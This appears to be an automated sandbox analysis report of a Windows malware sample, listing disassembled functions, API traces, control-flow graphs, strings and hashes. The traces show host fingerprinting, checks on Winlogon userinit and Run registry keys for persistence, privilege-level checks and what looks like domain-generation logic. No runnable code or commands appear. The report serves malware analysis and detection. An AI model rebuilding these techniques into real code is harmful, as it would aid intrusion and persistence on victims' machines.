                                                                                                                                                                                                                        • Part of subcall function 02714FF0: lstrcpynA.KERNEL32(?,00000001,00000104,?,?,00000000,?,?,?,?,00000000,00000000), ref: 027150CA
                                                                                                                                                                                                                        • Part of subcall function 027150F0: memset.MSVCRT(?,00000000,000000DE,00000000,00000000), ref: 02715124
                                                                                                                                                                                                                        • Part of subcall function 027150F0: GetProcessHeap.KERNEL32(00000008,00000110,?,00000000,00000000), ref: 02715133
                                                                                                                                                                                                                        • Part of subcall function 027150F0: HeapAlloc.KERNEL32(00000000,?,00000000,00000000), ref: 0271513A
                                                                                                                                                                                                                        • Part of subcall function 027150F0: memset.MSVCRT(00000000,00000000,00000110,?,00000000,00000000), ref: 02715152
                                                                                                                                                                                                                        • Part of subcall function 027150F0: GetComputerNameA.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000), ref: 02715169
                                                                                                                                                                                                                        • Part of subcall function 027150F0: GetLastError.KERNEL32(?,?,?,?,00000000,00000000), ref: 0271516F
                                                                                                                                                                                                                        • Part of subcall function 027150F0: GetComputerNameA.KERNEL32(00000000,00000104,00000104,?,?,?,?,00000000,00000000), ref: 02715190
                                                                                                                                                                                                                        • Part of subcall function 027150F0: StrChrIA.SHLWAPI(?,?,?,00000000,?,?,?,?,00000000,00000000), ref: 027151B7
                                                                                                                                                                                                                        • Part of subcall function 027150F0: lstrcpynA.KERNEL32(?,00000001,00000104,?,?,00000000,?,?,?,?,00000000,00000000), ref: 027151CB
                                                                                                                                                                                                                      • GetEnvironmentVariableA.KERNEL32(SystemDrive,?,00000104,?,?,74DF2F70,00000000), ref: 026F3144
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(?,?,?,74DF2F70,00000000), ref: 026F3151
                                                                                                                                                                                                                      • GetVolumeInformationA.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,74DF2F70,00000000), ref: 026F3168
                                                                                                                                                                                                                      • RegOpenKeyExA.ADVAPI32(80000002,Software\Microsoft\Windows NT\CurrentVersion,00000000,00000101,?,?,?,74DF2F70,00000000), ref: 026F318E
                                                                                                                                                                                                                      • RegQueryValueExA.ADVAPI32(?,InstallDate,00000000,?,?,?,?,?,74DF2F70,00000000), ref: 026F31AF
                                                                                                                                                                                                                      • RegCloseKey.ADVAPI32(?,?,?,74DF2F70,00000000), ref: 026F31B9
                                                                                                                                                                                                                      • CharUpperA.USER32(00000000,?,?,74DF2F70,00000000), ref: 026F31DF
                                                                                                                                                                                                                      • CharUpperA.USER32(00000000,?,?,?,74DF2F70,00000000), ref: 026F31E8
                                                                                                                                                                                                                      • _snprintf.MSVCRT(SYSTEM!910646!4579B355,00000104,%s!%s!%08X,00000000,00000000,?,?,74DF2F70,00000000), ref: 026F3201
                                                                                                                                                                                                                      • _snprintf.MSVCRT(?,00000004,%02X,54535953), ref: 026F325F
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000000,?,?,74DF2F70,00000000), ref: 026F328E
                                                                                                                                                                                                                      • HeapValidate.KERNEL32(00000000,?,?,74DF2F70,00000000), ref: 026F3297
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,02706E07,?,?,74DF2F70,00000000), ref: 026F32A3
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000,?,?,74DF2F70,00000000), ref: 026F32A6
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,?,?,?,74DF2F70,00000000), ref: 026F32B6
                                                                                                                                                                                                                      • HeapValidate.KERNEL32(00000000,?,?,74DF2F70,00000000), ref: 026F32B9
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,?,?,?,74DF2F70,00000000), ref: 026F32C5
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000,?,?,74DF2F70,00000000), ref: 026F32C8
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Heap$Process$memset$Name$AllocCharComputerErrorFreeLastUpperUserValidate_snprintflstrcpyn$BackslashCloseEnvironmentInformationOpenPathQueryValueVariableVolume
                                                                                                                                                                                                                      • String ID: %02X$%53%59%53%54%45%4D%21%39%31%30%36%34%36%21%34%35%37%39%42%33%35%35$%s!%s!%08X$InstallDate$SYSTEM$SYSTEM!910646!4579B355$Software\Microsoft\Windows NT\CurrentVersion$SystemDrive
                                                                                                                                                                                                                      • API String ID: 2057876665-3057195406
                                                                                                                                                                                                                      • Opcode ID: 6865b69c086feb0cd1e3e80ff7098521d228c41866f3fdc2205ad130fc296727
                                                                                                                                                                                                                      • Instruction ID: c4e50350333a763ea72a6b6439c71aaa5d818ab0b8bc35a5d11b779e1807b8e0
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 6865b69c086feb0cd1e3e80ff7098521d228c41866f3fdc2205ad130fc296727
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: E251E7B1E00255ABEB10DBA59C89FEFBBBCEF88701F448595FA05E7301D6719910CBA0
                                                                                                                                                                                                                      Function 026F74A0 Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 142memoryfileCOMMON
                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                      control_flow_graph 492 26f74a0-26f74af 493 26f75e6-26f75eb 492->493 494 26f74b5-26f74d1 CreateFileA 492->494 496 26f75ed-26f75fa IsBadWritePtr 493->496 497 26f7607 493->497 494->493 495 26f74d7-26f74ef GetFileSizeEx 494->495 498 26f75bf-26f75c8 495->498 499 26f74f5-26f74f8 495->499 500 26f75fc-26f7604 496->500 501 26f7609-26f760f 496->501 497->501 498->493 502 26f75ca-26f75d7 GetHandleInformation 498->502 503 26f74fb-26f74ff 499->503 504 26f74fa 499->504 502->493 505 26f75d9-26f75dd 502->505 506 26f752f-26f7534 503->506 507 26f7501-26f751e GetProcessHeap HeapAlloc 503->507 504->503 505->493 508 26f75df-26f75e0 CloseHandle 505->508 510 26f75bc 506->510 511 26f753a-26f753e 506->511 507->506 509 26f7520-26f752c memset 507->509 508->493 509->506 510->498 512 26f7541-26f754a 511->512 513 26f7540 511->513 514 26f754c-26f758f SetFilePointer LockFile ReadFile UnlockFile 512->514 515 26f7591-26f75a3 GetProcessHeap HeapValidate 512->515 513->512 514->510 514->515 516 26f75b5 515->516 517 26f75a5-26f75af GetProcessHeap HeapFree 515->517 516->510 517->516
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000080,00000000,?,d900db28a,76EEC3F0,?,?,02702600,00000000,00000001), ref: 026F74C6
                                                                                                                                                                                                                      • GetFileSizeEx.KERNEL32(00000000,?,?,?,02702600,00000000,00000001,?,74DEF550,00000000), ref: 026F74E4
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000008,?,?,?,02702600,00000000,00000001,?,74DEF550,00000000), ref: 026F750D
                                                                                                                                                                                                                      • HeapAlloc.KERNEL32(00000000,?,?,02702600,00000000,00000001,?,74DEF550,00000000), ref: 026F7514
                                                                                                                                                                                                                      • memset.MSVCRT(00000000,00000000,00000001,?,?,02702600,00000000,00000001,?,74DEF550,00000000), ref: 026F7527
                                                                                                                                                                                                                      • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 026F7553
                                                                                                                                                                                                                      • LockFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 026F7563
                                                                                                                                                                                                                      • ReadFile.KERNEL32(00000000,00000000,?,00000000,00000000), ref: 026F7572
                                                                                                                                                                                                                      • UnlockFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 026F7585
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000000), ref: 026F7594
                                                                                                                                                                                                                      • HeapValidate.KERNEL32(00000000), ref: 026F759B
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000000), ref: 026F75A8
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000), ref: 026F75AF
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,00000000), ref: 026F75CF
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 026F75E0
                                                                                                                                                                                                                      • IsBadWritePtr.KERNEL32(00000000,00000004,?,d900db28a,76EEC3F0,?,?,02702600,00000000,00000001,?,74DEF550,00000000), ref: 026F75F0
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: FileHeap$Process$Handle$AllocCloseCreateFreeInformationLockPointerReadSizeUnlockValidateWritememset
                                                                                                                                                                                                                      • String ID: d900db28a
                                                                                                                                                                                                                      • API String ID: 132362422-642063457
                                                                                                                                                                                                                      • Opcode ID: fef6065e4335b14230887aca58edebda055e977bf42126a03ed2cf90407b2759
                                                                                                                                                                                                                      • Instruction ID: fe563a3c9594ae2a02a356edab990e3ab127e8921a000464bfbf2c308124fe8e
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: fef6065e4335b14230887aca58edebda055e977bf42126a03ed2cf90407b2759
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 2941A2B1A40318BBDF619FB59C49FAFBB6CFB48712F508514FA05E6280DB749500CBA0
                                                                                                                                                                                                                      Function 026F63F0 Relevance: 28.2, APIs: 12, Strings: 4, Instructions: 204stringCOMMON
                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                      control_flow_graph 518 26f63f0-26f64b9 memset * 3 519 26f64c0-26f64ca 518->519 519->519 520 26f64cc-26f64e3 519->520 521 26f64f0-26f6518 strtol 520->521 521->521 522 26f651a-26f6524 521->522 523 26f6530-26f653e 522->523 523->523 524 26f6540 523->524 525 26f6542-26f6551 524->525 526 26f6555-26f655c 525->526 527 26f6553 525->527 526->525 528 26f655e-26f6593 call 2708160 strstr 526->528 527->526 531 26f659e-26f65af strstr 528->531 532 26f6595-26f659d 528->532 531->532 533 26f65b1-26f65c3 strtol 531->533 533->532 534 26f65c5-26f65cc 533->534 535 26f662f-26f6647 GetProcessHeap HeapAlloc 534->535 536 26f65ce-26f65de 534->536 538 26f6649-26f6682 memset * 2 _snprintf 535->538 539 26f6685-26f668d 535->539 537 26f65e3-26f65f7 536->537 540 26f65fe 537->540 541 26f65f9-26f65fd 537->541 538->539 542 26f6613-26f6620 540->542 543 26f6600-26f6611 540->543 541->540 544 26f6624-26f662d 542->544 543->544 544->535 545 26f65e0 544->545 545->537
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • memset.MSVCRT(?,00000000,00000103), ref: 026F6460
                                                                                                                                                                                                                      • memset.MSVCRT(?,00000000,00000103,?,00000000,00000103), ref: 026F647A
                                                                                                                                                                                                                      • memset.MSVCRT(?,00000000,000000FF,?,00000000,00000103,?,00000000,00000103), ref: 026F6494
                                                                                                                                                                                                                      • strtol.MSVCRT(74DF0F10,00000000,00000010,00000000,00000000,74DF0F10), ref: 026F650A
                                                                                                                                                                                                                      • strstr.MSVCRT(00000000,02736074,00000000,00000000), ref: 026F658A
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: memset$strstrstrtol
                                                                                                                                                                                                                      • String ID: %s%s$1676d5775e05c50b46baa5579d4fc7$eyuioa$qwrtpsdfghjklzxcvbnm
                                                                                                                                                                                                                      • API String ID: 600650289-3097137778
                                                                                                                                                                                                                      • Opcode ID: ba6416c0adf916524dc3b64fc418e5286720000c5b7baa11c292c20991eca6a5
                                                                                                                                                                                                                      • Instruction ID: ab1fb8c12b335e609b83c3a06581f3e12b4de682acce23cd30c1eac992579abb
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: ba6416c0adf916524dc3b64fc418e5286720000c5b7baa11c292c20991eca6a5
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 15717B30E443145BDB22CB78DC81BDE7BB9AF48705F1084A8DA49B3241D3705A45CB95
                                                                                                                                                                                                                      Function 026F3300 Relevance: 22.8, APIs: 9, Strings: 4, Instructions: 80registryCOMMON
                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • #680.SHELL32 ref: 026F3325
                                                                                                                                                                                                                      • GetEnvironmentVariableA.KERNEL32(SystemDrive,?,00000104), ref: 026F3344
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(?), ref: 026F3351
                                                                                                                                                                                                                      • GetVolumeInformationA.KERNEL32(?,00000000,00000000,000FF0FF,00000000,00000000,00000000,00000000), ref: 026F336E
                                                                                                                                                                                                                      • _snprintf.MSVCRT(?,00000104,02735748,000FF0FF), ref: 026F3389
                                                                                                                                                                                                                      • RegOpenKeyExA.ADVAPI32(80000002,software\microsoft\windows nt\currentversion\winlogon,00000000,00000101,00000000), ref: 026F33A7
                                                                                                                                                                                                                      • RegOpenKeyExA.ADVAPI32(80000001,software\microsoft\windows\currentversion\run,00000000,00000101,00000000), ref: 026F33DE
                                                                                                                                                                                                                      • RegQueryValueExA.ADVAPI32(00000000,userinit,00000000,00000001,02749B58,00000104), ref: 026F33FC
                                                                                                                                                                                                                      • RegCloseKey.ADVAPI32(00000000), ref: 026F340A
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      • software\microsoft\windows nt\currentversion\winlogon, xrefs: 026F339D
                                                                                                                                                                                                                      • userinit, xrefs: 026F33F6
                                                                                                                                                                                                                      • SystemDrive, xrefs: 026F333F
                                                                                                                                                                                                                      • software\microsoft\windows\currentversion\run, xrefs: 026F33D4
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Open$#680BackslashCloseEnvironmentInformationPathQueryValueVariableVolume_snprintf
                                                                                                                                                                                                                      • String ID: SystemDrive$software\microsoft\windows nt\currentversion\winlogon$software\microsoft\windows\currentversion\run$userinit
                                                                                                                                                                                                                      • API String ID: 3116569548-2324515132
                                                                                                                                                                                                                      • Opcode ID: 3bdade1b6521a0bfda0b5e8874c0dd03b489ff788f4212d79823b7ddb701e66c
                                                                                                                                                                                                                      • Instruction ID: 28d84dbf12c335e19ea7f8b965fc6d503445abae22927f04d3198c9d6349c373
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 3bdade1b6521a0bfda0b5e8874c0dd03b489ff788f4212d79823b7ddb701e66c
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 6F2121B1A80309FBFB14DB90CD8AFED7778EB48B05F908588B701A6181D7F15654CB61
                                                                                                                                                                                                                      Function 02714880 Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 90COMMON
                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                      control_flow_graph 579 2714880-271489f OpenProcess 580 2714975-271497f 579->580 581 27148a5-27148b4 OpenProcessToken 579->581 582 2714952-2714966 GetHandleInformation 581->582 583 27148ba-27148d2 GetTokenInformation 581->583 582->580 586 2714968-271496c 582->586 584 27148d4-27148ea CharUpperA 583->584 585 2714926-2714934 583->585 588 27148f0-27148f5 584->588 585->582 589 2714936-2714943 GetHandleInformation 585->589 586->580 587 271496e-271496f CloseHandle 586->587 587->580 590 2714904-2714914 CharUpperA 588->590 591 27148f7-2714900 588->591 589->582 592 2714945-2714949 589->592 594 2714922 590->594 595 2714916-271491a 590->595 591->588 593 2714902 591->593 592->582 596 271494b-271494c CloseHandle 592->596 593->585 594->585 595->594 597 271491c-2714920 595->597 596->582 597->585 597->594
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • OpenProcess.KERNEL32(00000400,00000000,00000000,74DEF550,00000000,76EEC3F0), ref: 02714895
                                                                                                                                                                                                                      • OpenProcessToken.ADVAPI32(00000000,00000018,?,?,?,?,?,?,?,?,?,?,?,?,027058B3), ref: 027148AC
                                                                                                                                                                                                                      • GetTokenInformation.ADVAPI32(?,00000007(TokenIntegrityLevel),?,00000010,?), ref: 027148CA
                                                                                                                                                                                                                      • CharUpperA.USER32(?,?,?,?,?,?,?,?,?,?,?,?,027058B3), ref: 027148E2
                                                                                                                                                                                                                      • CharUpperA.USER32(?,?,?,?,?,?,?,?,?,?,?,?,027058B3), ref: 02714908
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(?,00000000), ref: 0271493B
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(?), ref: 0271494C
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,?), ref: 0271495E
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 0271496F
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Handle$Information$CharCloseOpenProcessTokenUpper
                                                                                                                                                                                                                      • String ID: *SYSTEM*$ADVA
                                                                                                                                                                                                                      • API String ID: 1998047302-3691563785
                                                                                                                                                                                                                      • Opcode ID: c64233146c7b7d3e57eecc6af0881c68099caf6bfbd6f0bf97a9166c63c777c6
                                                                                                                                                                                                                      • Instruction ID: a6248d35608ae9bc1889c0f1d4fc4e1d946482ace3099fe4e4d39b7397a4d011
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: c64233146c7b7d3e57eecc6af0881c68099caf6bfbd6f0bf97a9166c63c777c6
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 3231D971D40249AFEB10CBA8C898FFE7BBCFF49316F448498EA4967185D7749908CB60
                                                                                                                                                                                                                      Function 02714FF0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 87memorystringCOMMON
                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                      control_flow_graph 598 2714ff0-2715043 memset GetProcessHeap HeapAlloc 599 2715049-271505b memset 598->599 600 27150da-27150e1 598->600 599->600 601 271505d-271506c GetUserNameA 599->601 602 2715095-27150a0 call 270ade0 601->602 603 271506e-2715077 GetLastError 601->603 602->600 609 27150a2 602->609 603->602 604 2715079-2715088 call 27041e0 603->604 604->600 611 271508a-2715093 GetUserNameA 604->611 610 27150a3-27150be StrChrIA 609->610 612 27150c0-27150d0 lstrcpynA 610->612 613 27150d2-27150d7 610->613 611->600 611->602 612->613 613->610 614 27150d9 613->614 614->600
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • memset.MSVCRT(?,00000000,000000DF,00000000,00000000), ref: 02715023
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000008,00000110,?,00000000,00000000), ref: 02715032
                                                                                                                                                                                                                      • HeapAlloc.KERNEL32(00000000,?,00000000,00000000), ref: 02715039
                                                                                                                                                                                                                      • memset.MSVCRT(00000000,00000000,00000110,?,00000000,00000000), ref: 02715051
                                                                                                                                                                                                                      • GetUserNameA.ADVAPI32(00000000,00000104), ref: 02715068
                                                                                                                                                                                                                      • GetLastError.KERNEL32(?,?,?,?,00000000,00000000), ref: 0271506E
                                                                                                                                                                                                                        • Part of subcall function 027041E0: GetProcessHeap.KERNEL32(00000008,02715097,00000000,75A934D0,?,?,02715084,00000104,?,?,?,?,00000000,00000000), ref: 027041FE
                                                                                                                                                                                                                        • Part of subcall function 027041E0: HeapAlloc.KERNEL32(00000000,?,?,02715084,00000104,?,?,?,?,00000000,00000000), ref: 02704205
                                                                                                                                                                                                                        • Part of subcall function 027041E0: memset.MSVCRT(00000000,00000000,02715097,?,?,02715084,00000104,?,?,?,?,00000000,00000000), ref: 02704215
                                                                                                                                                                                                                      • GetUserNameA.ADVAPI32(00000000,00000104), ref: 0271508F
                                                                                                                                                                                                                      • StrChrIA.SHLWAPI(?,?,?,00000000,?,?,?,?,00000000,00000000), ref: 027150B6
                                                                                                                                                                                                                      • lstrcpynA.KERNEL32(?,00000001,00000104,?,?,00000000,?,?,?,?,00000000,00000000), ref: 027150CA
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      • ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789, xrefs: 02715000
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Heap$memset$AllocNameProcessUser$ErrorLastlstrcpyn
                                                                                                                                                                                                                      • String ID: ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789
                                                                                                                                                                                                                      • API String ID: 3937782766-374730529
                                                                                                                                                                                                                      • Opcode ID: 736c61543f649c0369e3d6a253dd1778ae23f43a14d0a48af085ca4ee920bb17
                                                                                                                                                                                                                      • Instruction ID: 42af7e2097f57e6e68fb1626a9dd0b2a2d0c8cb8c8204537ce817a29e7422655
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 736c61543f649c0369e3d6a253dd1778ae23f43a14d0a48af085ca4ee920bb17
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 02216D72D00209A7D726D6B98C44FBFB7BDAFC8706F604418F64597140EBB1EA4487E0
                                                                                                                                                                                                                      Function 02704EA7 Relevance: 16.6, APIs: 11, Instructions: 77memorynetworkCOMMON
                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                      control_flow_graph 615 2704ea7-2704eae 616 2704eb0-2704ebe 615->616 616->616 617 2704ec0 616->617 618 2704ec2-2704ed3 617->618 619 2704ed5 618->619 620 2704ed7-2704ede 618->620 619->620 620->618 621 2704ee0-2704ef5 call 2708160 620->621 624 2704ef7 call 26f7350 621->624 625 2704efc-2704f0a GetProcessHeap HeapValidate 624->625 626 2704f20-2704f25 625->626 627 2704f0c-2704f18 GetProcessHeap HeapFree 625->627 628 2704f43-2704f4d 626->628 629 2704f27-2704f35 GetProcessHeap HeapValidate 626->629 627->626 631 2704f55-2704f5a 628->631 632 2704f4f-2704f53 InternetCloseHandle 628->632 629->628 630 2704f37-2704f3d GetProcessHeap HeapFree 629->630 630->628 633 2704f5c-2704f5d InternetCloseHandle 631->633 634 2704f5f-2704f64 631->634 632->631 633->634 635 2704f66-2704f67 InternetCloseHandle 634->635 636 2704f69-2704f72 634->636 635->636
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000000,00000000,026F6E36,00000000,00000000,026F6E36,00000000), ref: 02704EFF
                                                                                                                                                                                                                      • HeapValidate.KERNEL32(00000000), ref: 02704F02
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02704F0F
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000), ref: 02704F12
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02704F2A
                                                                                                                                                                                                                      • HeapValidate.KERNEL32(00000000), ref: 02704F2D
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02704F3A
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000), ref: 02704F3D
                                                                                                                                                                                                                      • InternetCloseHandle.WININET(00000000), ref: 02704F53
                                                                                                                                                                                                                      • InternetCloseHandle.WININET(00000000), ref: 02704F5D
                                                                                                                                                                                                                      • InternetCloseHandle.WININET(00000000), ref: 02704F67
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Heap$Process$CloseHandleInternet$FreeValidate
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 278890334-0
                                                                                                                                                                                                                      • Opcode ID: 6ec9136e29f889e6ea9fa0ce58558abecbaae9cbf4eaa5ae5651c3b89c7de63b
                                                                                                                                                                                                                      • Instruction ID: 3082e48c2188478d7d93dab8fce523797dd5bceb465f0279ef9bd7d84b3a82d7
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 6ec9136e29f889e6ea9fa0ce58558abecbaae9cbf4eaa5ae5651c3b89c7de63b
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: F821C031A05258AADB209BB5DC9CF9F7BACEF49715F084459F749E3180DA70E914CAA0
                                                                                                                                                                                                                      Function 027036B0 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 76registryCOMMON
                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                      • Not Executed
